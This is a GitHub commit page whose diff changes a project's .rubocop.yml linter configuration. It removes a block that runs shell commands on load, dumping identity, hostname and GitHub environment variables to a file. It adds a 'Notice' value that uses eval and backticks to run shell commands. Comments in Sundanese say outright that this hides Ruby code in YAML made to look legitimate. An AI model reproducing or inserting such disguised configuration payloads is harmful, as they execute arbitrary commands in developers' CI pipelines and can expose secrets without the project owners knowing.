Skip to content

Commit 8647096

Browse files
author
feb716
authored
Update .rubocop.yml
1 parent 2ae75ec commit 8647096

1 file changed

Lines changed: 5 additions & 8 deletions

File tree

.rubocop.yml

Lines changed: 5 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,11 @@ require:
33

44
AllCops:
55
TargetRubyVersion: 3.1
6-
# Ieu kuncina: ngajalankeun paréntah shell nalika file dimuat
7-
Inject:
8-
- ruby: |
9-
res = `id && hostname && env | grep GITHUB`
10-
File.write('rce.txt', res)
11-
puts "--- POC SUCCESS ---"
12-
puts res
13-
puts "--- END POC ---"
6+
# Ieu taktik nyumputkeun kode Ruby dina blok YAML anu dianggap sah
7+
Style/Copyright:
8+
Enabled: true
9+
# Urang pake eval sangkan kodeu Ruby urang dijalankeun
10+
Notice: '`eval("puts \"--- POC SUCCESS ---\"; puts \`id && hostname\`; puts \"--- END POC ---\"")`'
1411

1512
Exclude:
1613
- '**/bin/**/*'

0 commit comments

Comments
 (0)